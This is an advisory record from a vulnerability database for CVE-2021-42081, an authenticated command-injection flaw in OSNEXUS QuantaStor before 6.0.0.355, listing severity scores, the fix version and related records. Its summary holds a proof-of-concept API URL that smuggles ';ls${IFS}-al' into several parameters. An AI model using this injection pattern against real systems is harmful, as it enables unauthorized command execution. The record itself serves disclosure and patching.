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TI-2021-18590 Aliases CVE-2021-42081GHSA-7g9g-whvg-fhcj

Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Priority MEDIUM 44CWE-78Published · Updated

Key facts

Attack vector
Network
Privileges required
High
User interaction
None
Attack complexity
Low
Impact type
Code execution
Confidentiality · integrity · availability
High · High · High
Fix status
Fixed

Attack profile from CVSS 3.1 · CNA. Fix status from CNA. Impact type from CWE-78.

Summary

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Why it matters now

Exploitation None reported CISA SSVC · not in CISA KEV
EPSS 0.0123 69th percentileScored 2026-11-07
Public exploit Yes 2 exploit referencesTagged by the CNA
Fix Fixed QuantaStor (OSNEXUS): 6.0.0.355

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
None
Automatable
No
Technical impact
Total

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
OSNEXUSQuantaStorbefore 6.0.0.3556.0.0.355Patch availableCNA
  • QuantaStor VendorOSNEXUS Affected before 6.0.0.355 Fixed in 6.0.0.355 Patch available CNA

CPE configurations NVD · 1

CPEVersionsRoleVendor
cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*before 6.0.0.355VulnerableOSNEXUS
  • cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:* Versions before 6.0.0.355 Vulnerable ·OSNEXUS

Remediation

  • Fix · CNA QuantaStor (OSNEXUS) Fixed in 6.0.0.355

Fixed in the same release

Records fixed by the same vendor advisory or release, as the CNA lists them.

  • Release ·

    OSNEXUS QuantaStor 6.0.0.355

    5 records Highest priority Priority MEDIUM 1 MEDIUM, 4 LOW

    Other records, highest priority first

    • TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335Priority LOW 38
    • TI-2021-18591 Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355Priority LOW 35
    • TI-2021-18589 Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355Priority LOW 34

Timeline

  1. 2026-10-02 Threatist record created from CVE-2021-42081
  2. 2026-10-03 Alias added: GHSA-7g9g-whvg-fhcj

References

  • TI-2021-03263 Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others CVSS 3.1CRITICAL 9.1
  • TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335 CVSS 3.1HIGH 8.7
  • TI-2021-18591 Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1HIGH 7.8
  • TI-2021-18589 Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1HIGH 7.4
  • TI-2017-07338 On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, if the REST call invoked… CVSS 3.0MEDIUM 6.1
  • TI-2017-07337 On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, a flaw was found with the… CVSS 3.0MEDIUM 5.3
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